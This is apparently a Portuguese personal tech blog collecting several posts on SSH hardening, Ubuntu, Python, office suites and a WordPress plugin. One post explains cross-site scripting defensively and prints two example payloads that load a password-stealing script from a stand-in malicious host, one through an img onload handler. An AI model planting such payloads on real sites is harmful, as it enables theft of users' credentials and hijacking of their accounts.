Levei mais tempo do que devia para achar essa solução, então vou deixar registrada aqui, pois pode ter mais gente atrás disso. O protocolo ssh é muito popular no mundo Unix. Com ele você pode administrar seu servidor à distância. O tráfego de dados ssh é todo criptografado, e o protocolo é bastante seguro. Mesmo assim, se você tem usuários em sua máquina com senhas fracas, corre o sério risco de sofrer um ataque de dicionário.
Entre as principais recomendações para tornar seu servidor mais seguro estão:
- Evite senhas fracas: faça com que seus usuários tenham senhas fortes e não óbvias;
- Não permita o login como root: assim, para fazer alguma coisa realmente perigosa, um invasor teria que descobrir duas senhas ao invés de uma. No Ubuntu, edite o arquivo /etc/ssh/sshd_config e altere a linha PermitRootLogin para:
PermitRootLogin no
- Mude a porta do serviço ssh: a porta padrão para o serviço ssh é a 22. Trocá-la vai dar algum trabalho a um possível invasor. Para isso, no Ubuntu
, edite o /etc/ssh/sshd_config e altere o número na linha Port para a porta desejada:
Port 999
Para se conectar ao servidor, use:
ssh -p999 servidor
Como o protocolo ssh é robusto, seguro e flexível, há vários serviços que rodam sobre ele. Entre os mais populares estão o sftp e o rsync. O sftp é um serviço de ftp sobre ssh. A principal vantagem dele em relação ao ftp comum é que o tráfego é criptografado. Já o serviço rsync é genial, serve para manter sincronizadas cópias de arquivos e diretórios em máquinas diferentes.
Para se conectar via sftp com uma porta diferente da 22, use:
sftp -oPort=999 servidor
Para fazer rsync via ssh numa porta diferente da 22, use:
rsync --rsh='ssh -p42' arquivolocal servidor:/caminho/para/o/arquivoremoto
Boa notícia: Ubuntu chega oficialmente ao Brasil.
“Nossa estratégia será fechar parcerias com fabricantes para oferecer o Ubuntu pré-instalado e pré-configurado, faturando com suporte, serviços, segurança e atualização.”
Vem em boa hora. Um funcionário meu comprou um notebook, um Presario v6210br, que veio com Mandriva. O suporte é uma piada. Não conseguíamos conectar em redes com chave WEP, apenas redes abertas. Em todas as ligações que fizemos os atendentes nos disseram que, se o computador conecta em uma rede e outra não, o problema é na rede, e eles não prestam suporte a configuração de redes. Mesmo argumentando que os outros notebooks na empresa, com Linux
e Mac OS, se conectam normalmente à rede.
Parece que eles colocam Linux nessas máquinas só para reduzir custos, mas não esperam que ninguém vá usar realmente o sistema. A qualidade da instalação é entristecedora. Veio com a rede wi-fi configurada via ndiswrapper e cheia de problemas, e os drivers para a placa de vídeo 3D simplesmente não vieram instalados. Parece que esperam que todo mundo vá instalar um Windows pirata na máquina.
Quem sabe com uma distribuição de verdade, prestando suporte de verdade, notebook com Linux pré-instalado deixe de ser piada no Brasil.
Uma das perguntas que mais me fazem é: como deixar o Linux mais parecido com o Mac OS X? Considero isso um despropósito. O Ubuntu, por exemplo, é lindo, perfeito, não precisa mudar nada.
Mas, tem louco para tudo. Desde gente querendo deixa o Linux com cara de Windows, quanto gente querendo um Windows com cara de Linux.
Bom, então lá vai, se você quer realmente seu Linux com cara de Mac OS X, siga o tutorial mais completo e paranóico que há. Vai dar um bocado de trabalho, mas o resultado é impressionante:
Make Your Linux Desktop Look Like A Mac – Mac4Lin Project Documentation
Há também uma versão menos detalhada desse tutorial, mas em português.
O novo Ubuntu 7.10 está maravilhoso. Até o 7.04 eu usava um hack para fazer funcionar minha placa de rede, agora ela funciona sem truques. O compiz já instalado funcionou sozinho, bem direitinho. O resto tudo também funcionou sem dor. Menos o PSE.
Por algum motivo estranho, a versão do mod_python (3.3.1) desse novo Ubuntu reclama de sei lá o que. A versão anterior (3.1.3) funcionava sem problemas. Dei um jeito aqui de colocar para funcionar. Não sei se é uma boa saída, se alguém tiver uma sugestão melhor, por favor.
Segue a receita de bolo para instalar o PSE no novo Ubuntu:
- Instale os pacotes necessários:
sudo apt-get install apache2 libapache2-mod-python python-profiler build-essential latex2html - Baixe o PSE:
wget http://nick.borko.org/pse/PSE-3.0.6.tar.gz - Extraia o código fonte:
tar -xzvf PSE-3.0.6.tar.gz - Entre na pasta:
cd PSE-3.0.6 - Compile e instale:
sudo python setup.py install - Edite o arquivo de configuração do Apache:
sudo gedit /etc/apache2/apache2.conf
Acrescente ao final:
PythonHandler pse_handler
AddHandler python-program .pt - Aqui vai o hack:
sudo gedit /usr/lib/python2.5/site-packages/mod_python/importer.py
Encontre a linha 303, que deve ser:
return __import__(module_name, {}, {}, '*')
E edite para ficar:
return __import__(module_name, {}, {}) #, '*')
Cuidado para não quebrar a identação! - Reinicie o Apache:
sudo invoke-rc.d apache2 restart
Pronto, deve funcionar. Aqui para mim foi só isso.
Ao utilizar expressões regulares em Python, por padrão, seu texto é interpretado como uma seqüência de caracteres ASCII comum. Assim, caracteres acentuados são considerados sinais gráficos especiais, e não são capturados como letras. Veja este exemplo:
>>> import re
>>> print re.sub(r"\b","|","era uma criança")
|era| |uma| |crian|ç|a|
Como você pode ver, o ce-cedilha não é considerado uma letra, “quebrando” a palavra. Resolver isso é muito fácil, basta compilar a expressão regular passando a flag L, para que ela siga o locale de sua máquina, ou a flag U, para que ela trabalhe com unicode. No meu caso, em que o locale da máquina é unicode, tanto faz. Veja como funciona:
>>> import re
>>> c=re.compile(r"\b",re.U)
>>> print c.sub("|",u"era uma criança")
|era| |uma| |criança|
Só não se esqueça de trabalhar com strings unicode.
A IBM lançou seu pacote de escritórios gratuito, o Lotus Symphony. Instalei aqui para testar. Para começar, ele não é “baseado no OpenOffice.org” como muitos sites por aí andam dizendo. Ele lê arquivos do formato ODF, o formato criado pela OpenOffice.org, e talvez tenha algum código ali realmente aproveitado do OpenOffice.org, mas ele é baseado mesmo é no Eclipse. Sim, é isso que você entendeu, o Symphony é construído sobre o Eclipe, em Java, lento, lento, lento… Leva uma eternidade para carregar e demora um bocado a responder a alguns comandos. Fica praticamente impossível de se usar.
A primeira coisa curiosa é que o instalador para Linux coloca o programinha que desinstala o Symphony num lugar escondido e não avisa o usuário. Então fica a dica para você que usa Linux e, como eu, instalou o Symphony e se arrependeu o instalador está em:
/opt/ibm/lotus/Symphony/_uninst/uninstaller.bin
Outra coisa interessante é que a interface do programa ficou muito boa. O investimento em usabilidade que a IBM tem feito há anos, o que eles chamam de User Centered Design, tem dado resultado. O problema é que o software é tão lento que é insuportável usá-lo mesmo tendo uma excelente interface.
Se você já é usuário de OpenOffice.org, não vejo nenhum bom motivo para tentar o Symphony. Se não é usuário de OpenOffice.org, por favor, não instale o Symphony. Tente o OpenOffice.org.
Para mim o Symphony serviu mesmo para mostrar o poder de um padrão aberto. Tenho em minha máquina agora três pacotes de escritório: KOffice, OpenOffice.org e IBM Lotus Symphony, e os três trabalham com exatamente o mesmo formato de arquivo. Sem segredos, sem royalties, sem truques. Inclusive a compatibilidade entre eles é muito boa. E qualquer um pode fazer um programa que trabalha com o mesmo formato.
Veja, por exemplo, como é simples fazer um shell script que exporta um documento ODT para texto:
#!/bin/bash
mkdir .tmp_odt2txt
cp $1 .tmp_odt2txt
cd .tmp_odt2txt
unzip $1
cd ..
sed -e "s/<text:p[^>]*>/\n/g" .tmp_odt2txt/content.xml|sed -e "s/<[^>]*>//g" > $1.txt
rm -rf .tmp_odt2txt
Como estamos falando de um padrão aberto, usamos ferramentas simples disponíveis em qualquer Unix e lemos o arquivo. Tente fazer isso com um documento do Microsoft Word e você vai entender o que eu quero dizer.
Para atender a um cliente, escrevi agora um pequeno plugin para WordPress. Você pode fazer download do plugin aqui:
http://elcio.com.br/download/dirtyinclude.zip (497 bytes)
Depois, basta descompactá-lo na pasta wp-content/plugins em seu diretório do WordPress. Tendo feito isso, acesse o administrador do WordPress, clique em “Plugins” (“Extensões” na versão em português) e ative o plugin. Pronto, está funcionando.
Para incluir um arquivo em um post basta, ao editar o post, escrever: [[[include:/caminho/ate/seu/arquivo.php]]] e o arquivo será incluído. O caminho é relativo ao diretório base do WordPress. Funciona tanto com o editor visual quanto com o editor de código. Atenção! Se você tem usuários não confiáveis, por exemplo, se permite que seus usuários se cadastrem e postem, não deve usar esse plugin. É perigoso…
Naturalmente, o plugin acaba de ser escrito e não foi exaustivamente testado. Se você tiver sugestões de melhorias ou achar bugs, por favor, avise.
Meus comentários:
- WordPress é fantástico! Essa API para a criação de plugins é fabulosa. É muito fácil escrever um plugin que faz bem seu trabalho sem atrapalhar todo o resto.
- Continuo não gostando de PHP, mas dá para trabalhar com isso. Se metade do código mundo a fora tivesse a qualidade do WordPress, já ajudaria muito.
- Vou dizer de novo: se você não sabe expressões regulares
, precisa aprender!
Ei, está legal isso aqui: http://www.eyeos.info/

Não é útil, mas dá uma boa idéia a respeito do que é possível fazer.
Veja como essa notícia no Terra explica mal as coisas e espalha o terror:
A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript
e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.
Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:
<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>
Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:
<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />
Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:
- Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
- Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax
).
- Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.
Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager
Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:
Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.
Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.
Achei muito interessante este artigo comparando a sintaxe de Smalltalk com Java. Implementei os mesmos exemplos em Python, para que você possa comparar a sintaxe:
Problema: cálculo de fatorial
def factorialRecursive(n):
if n<0:return 0
if n==0:return 1
return n*factorialRecursive(n-1)
Ou assim:
def factorialNonRecursive(n):
if n<0:return 0
return reduce(lambda a,b:a*b,[1]+range(1,n+1))
A recursividade pode parecer uma solução elegante, mas o consumo de memória é assombroso nesse caso, em qualquer linguagem. Calcular a fatorial de um número grande qualquer pode ser um problema com a recursividade. Por isso, prefira a versão não recursiva.
No novo Python 2.5 você pode fazer:
def fact(x): return (
0 if x<0 else
reduce(lambda a,b:a*b,[1]+range(1,x+1))
)
Aqui é difícil dizer qual é mais prática, Smalltalk ou Python. Você pode palpitar sobre qual é mais elegante, uma vez que as soluções são radicalmente diferentes, mas a escolha final é subjetiva.
Problema: imprimir os números de 1 a 10
Eu faria usando os recursos de programação funcional:
print "\n".join(map(str,range(1,11)))
Mas você pode preferir:
for i in range(1,11):
print i
De qualquer maneira, ponto para o Python aqui.
Problema: trabalhando com Collections
l=[
'Em Python,',
'chamamos as',
'collections',
'de "listas"',
]
print "\n".join(l)
Aqui, indiscutivelmente, ponto para o Python.
Problema: mostrar os pares e ímpares entre 1 e 10
for i in range(1,11):
print i,["is even","is odd"][i % 2]
Novamente, o Python ganha disparado.
Problema: invocar um método via Reflection
É bem fácil:
o=MyClass()
getattr(o,"showMessage")()
Aqui o páreo é duro, Python e Smalltalk correm cabeça-a-cabeça. Na minha opinição, Python ganha por um focinho.
Para saber mais sobre Python recomendo o PythonBrasil.
Além disso, sou professor do Curso de Python da Visie.
Uma das grandes vantagens do open source, algo que na maioria dos softwares conhecidos é o que realmente movimenta o projeto, é o fato de que qualquer um pode colaborar. Você pode alterar e melhorar um software, enviando as correções para o autor, ou pode criar um “fork”, uma versão sua daquele software. Pode também criar ferramentas para o software, criar arte como temas, templates, ícones, e até criar suas próprias campanhas de divulgação.
Veja por exemplo o Wubi. É um instalador de Ubuntu para usuários de Windows. Com ele você pode instalar o Ubuntu em seu computador com Windows no tradicional esquema Redmond “Next-Next-Finish”. O Wubi instala o Ubuntu numa “partição virtual”, um arquivo dentro do sistema de arquivos do Windows. Ou seja, você não precisa se preocupar em gravar um CD, formatar ou particionar seu HD e outras tarefas espinhudas.
O Wubi não é uma ferramenta oficial da distribuição. Foi feito por alguém que queria colaborar com o Ubuntu. Software livre é isso aí.
Você pode colaborar como quiser. Por exemplo, criando uma capa personalizada para o seu DVD do Ubuntu e compartilhando com quem quiser.
Para os que gostam da história da informática: o primeiro computador em que eu programei na vida foi um Sinclair ZX Spectrum, que aqui no Brasil se chamava TK-90X. Pois não é que o saudoso micrinho fez 25 anos mês passado?
Baixei nos repositórios do Ubuntu o xspec, um emulador de Spectrum, para ver se eu ainda sabia alguma coisa de BASIC, e fiz um videozinho para que os mais novos nesse negócio possam ver um pouquinho de como foi o início da programação em microcomputadores:
Ah, que saudades!
Como todo mundo anda elogiando, resolvi testar o Songbird. O programa é lindo! Mas eu acho que ainda não vou conseguir usá-lo. Talvez eu não tenha entendido direito o funcionamento do programa, e algum leitor mais esperto do que eu possa me ajudar.
Eu entendi errado ou o Songbird não entende feeds de Podcast? Só consegui pedir ao programa para assinar o conteúdo de uma página, que carregue no navegador, não um feed XML. No caso de feeds que possuem uma folha de estilo XSLT para o navegador, como os do Feedburner, a coisa funciona porque o Songbird os entende como uma página web:
Já se o arquivo XML não tem nenhuma mágica associada a ele, veja o que acontece:
Ou seja, eu preciso visitar o site, e mandar o Songbird “assinar” a página que contém a lista de arquivos mp3. Há uma série de problemas com essa abordagem:
- Nem todos os feeds tem uma página HTML
que liste os arquivos. Estes eu não posso assinar.
- O endereço da página pode mudar. Não deveria, claro, “cool URI don’t change” certo? Mas pode. E muita gente publica conteúdo só no feed, exclusivo para quem assina.
- Preciso navegar na minha coleção de podcasts e repetir este processo um a um.
- Por falar nisso, não há uma maneira de importar meu OPML. Incluir os podcasts um a um não é divertido. E como ele também não exporta, usar o Songbird significaria repetir o processo no dia em que eu resolvesse migrar para outro programa.
Ou seja, por enquanto ainda não vou me arriscar com o Songbird. É um projeto open source, baseado em XUL, logo é muito fácil criar extensões para ele e melhorá-lo. Qualquer um que saiba javascript pode colaborar. Quem sabe eles não resolvem isso rápido?
Acabo de instalar o tal PidGin 2.0.0, o substituto do Gaim, o programa que, ao ser lançado, causou tanto movimento que derrubou o site oficial. Ele está disponível para Windows e Linux. Para quem não sabe:
O Pidgin é um cliente de mensagens modular capaz de usar o AIM, MSN, Yahoo!, Jabber, ICQ, IRC, SILC, SIP/SIMPLE, Novell GroupWise, Lotus Sametime, Bonjour, Zephyr, Gadu-Gadu e QQ de uma vez só. Ele é escrito usando o GTK+.
Baixei os fontes do SourceForge, o pacote pidgin-2.0.0.tar.gz, aqui no meu Ubuntu 6.10. Depois o processo foi:
$ tar -xzvf pidgin-2.0.0.tar.gz
$ cd pidgin-2.0.0.tar.gz
$ ./configure
$ make
$ sudo make install
Assim mesmo, como manda o figurino, sem nenhum errinho. Ele leu meus contatos e contas do Gaim e já abriu conectando, pronto para usar.
É o bom e velho Gaim, com pequenas melhoras e novas funcionalidades, mais rápido e muito, muito mais bonito. A interface também deu uma boa melhorada em relação à usabilidade. Além disso, agora ele conecta em ainda mais redes que eu não vou usar
Updated: endereço do site corrigido. Obrigado pessoal.
Sobre as grandes diferenças: Coisas que posso fazer em Linux e em windows não
Sobre as semelhanças (e as pequenas diferenças): Linux x Windows
Se você trabalha com internet, essa série deve interessá-lo:
- Programas de Desenho Vetorial
- Programas de Edição de Tratamento Imagens
- Programas de Edição de Código
- Rodando um servidor Apache com PHP e MySQL
- Navegadores e Clientes de FTP
Por falar nisso, no terceiro artigo dessa série o araujo perguntou nos comentários:
Como você, vim do Windows/DreamWeaver para Linux/?(ainda). Gostei do
que vi no QuantaPlus, realmente é excelente, porém um das vantagens que
eu via ao usar o DreamWeaver com seu FTP era
o de ter sempre a certeza de pegar a última versão do programa e não
precisar me preocupar em enviar o arquivo certo e se está na última
versão. Eu abria o arquivo direto do ftp, ele baixava o último
(inclusive as dependências) abria na minha tela, eu editava (um ou mais
de um) salvava e o DreamWeaver já efetuava o Upload. Eu gostaria de
saber como é o seu procedimento agora. De repente eu também mudo e vejo
as vantagens. Sempre devemos estar aberto a aprender, né?
Tentei responder por lá, mas o sistema matemático parece funcionar com uma matemática diferente da minha. Então minha resposta vai aqui:
araujo,O Kate faz isso que você está querendo. Ele tem uma barra lateral de navegação em arquivos. Você pode adicionar um favorito ali no formato:
ftp://usuario:senha@servidor.com.br/pasta
Também suporta uma série de outros protocolos, como o sftp. Adicionando o favorito, é só clicar nele que o Kate lista os aruqivos e pastas. Clicando num arquivo o Kate abre diretamente do FTP, e se você salvar, salva direto lá também.
A dobradinha nautilus/gedit também torna isso transparente para você. Se você se conecta a um servidor de FTP pelo nautilus, pode clicar com o botão direito em qualquer arquivo e escolher “Abrir com Editor de Textos”. O nautilus também coloca o servidor de FTP como um dos caminhos possíveis nas caixas de abrir e salvar do gedit.
Saudações amigos piratas!
O Digg perdeu o controle de seu próprio site por causa da singela seqüência de números Continue reading » acima. Uma história interessante que vale a pena acompanhar. Sua primeira tendência pode ser a de criticar o Digg pela censura. Mas, pense bem, se fosse o seu pequeno negócio de milhões de dólares que estivesse ameaçado de processo judicial, será que você seria realmente tão corajoso assim?
O Fred, a quem eu finalmente tive o privilégio de conhecer pessoalmente no Encontro Locaweb em Porto Alegre, me entrevistou no aeroporto. O tema: ferramentas open source ou proprietárias? Confira o podcast.
Saiu o Ubuntu 7.04, Feisty Fawn. Assim que sai uma versão nova do Ubuntu, os servidores ficam sobrecarregados de gente tentando baixar os isos.
A dica: baixe via torrent. O servidor mais rápido que eu achei me deixou baixar a 100KB/s. Via bittorrent estou baixando a 220KB/s. Além de ser mais rápido, você contribui com sua banda para que os servidores do Ubuntu fiquem menos sobrecarregados. Vamos lá! Quanto mais gente baixar via torrent, mais rápido fica para todo mundo.
Vou deixar a máquina seeding aqui durante a noite. Se você tem condições, faça também isto. É um jeito simples de contribuir um pouquinho com uma causa muito nobre.
Os servidores estavam tão sobrecarregados que eu tive dificuldades em baixar o arquivo de torrent para iniciar. Então, para facilitar sua vida, deixei aqui uma cópia do arquivo de torrent para a versão i386 (feisty-desktop-i386.iso 698MB.) Bom download!
Deixei o micro ligado durante a noite. Não estava navegando nem fazendo nada de especial, só ficou ligado. Quando fui tentar usá-lo pela manhã, estava muito, muito lento. Talvez o usuário de Windows ache que estou de frescura, afinal, isso é assim mesmo, basta um reboot e tudo se resolve. Mas deixe-me dizer que no Linux as coisas são diferentes. Minha máquina no escritório fica meses ligada, sem reboot, sem lentidão. Se está lento, tem alguma coisa errada. Pois veja:

Firefox consumindo 297MB de RAM. Como meu notebook só tem 512MB de RAM, e parte disso é compartilhada com a placa de vídeo, 297MB é muita, muita RAM.
Fechei o Firefox. A janela fechou e o programa levou dois minutos para fechar e liberar a memória. Enquanto isso, consumiu tudo o que pode de CPU:
Quando o programa finalmente morreu, o alívio foi imediato:

Pronto, abri o Firefox de novo, e tudo parece normal:
Alguém tem idéia do que seja isso? Algum plugin ou extensão?
Estava ajudando um amigo a instalar o Ubuntu em sua máquina, tentando evitar, a todo custo, me conectar por ssh. E tentando evitar também o uso de terminal, pois meu amigo estava migrando de Windows e parecia ter um certo receio da tela preta. Tivemos alguns problemas com o Automatix, e entrei no canal #ubuntu-br da Freenode para perguntar. Fiquei impressionadíssimo com a solicitude das pessoas que estavam online. Uso bastante irc, e é comum estar em canais sobre Python
, SQLObject, Javascript e etc. E sei que geralmente quem se dá ao trabalho de estar ali é porque realmente gosta de ajudar. Mas o pessoal da #ubuntu-br foi especialmente paciente e atencioso.
Depois que desconectei, recebi até um e-mail do Vinícius Depizzol sanando as dúvidas que haviam ficado pendentes. Obrigado Vinícius, obrigado ao pessoal do #ubuntu-br.
Uma das coisas que o Vinícius me mostrou é que eu não preciso de Automatix. Quase tudo o que se faz por ele pode ser feito pelo Ubuntu, na interface gráfica, sem nenhum programa especial. Boa parte no menu “Aplicações” -> “Adicionar/Remover”. E o que não dá para resolver lá geralmente é muito fácil de fazer no terminal.
Isso me fez pensar. Nós, programadores, sabemos que o terminal (shell, console ou como você preferir chamá-lo) é a ferramenta mais poderosa dos sistemas Unix. Não há outra maneira de se obter a rapidez e flexibilidade que se tem num terminal.
Estes dias vi um amigo fazendo algo curioso. Ele precisa copiar uma pasta no servidor, chamada “site”, para “sitenovo”, para começar a trabalhar no novo site. Ele se conectou por FTP, copiou a pasta inteira para a sua máquina (eram alguns megabytes) renomeou e enviou de novo para o servidor. Mais de meia hora de trabalho. Ele poderia ter se conectado via SSH e feito:
cp -r site sitenovo
E em menos de um minuto a cópia estaria feita.
Claro, isso não é novidade nenhuma para o usuário de Linux que já lida com o terminal há algum tempo. Um administrador de sistemas Linux é uma pessoa muito mais feliz graças ao terminal. Mas como fazer com que o usuário de interface gráfica, que não tem gosto pela linha de comando, não perca o tempo que meu amigo perdeu? Como fazer com que o webdesigner que publica arquivos num servidor remoto aprenda pelo menos o básico? Que ele saiba copiar, mover, apagar e editar arquivos e diretórios, navegar por diretórios, sincronizar diretórios, comparar arquivos, criar pequenos scripts para automatizar tarefas e editar o seu crontab?




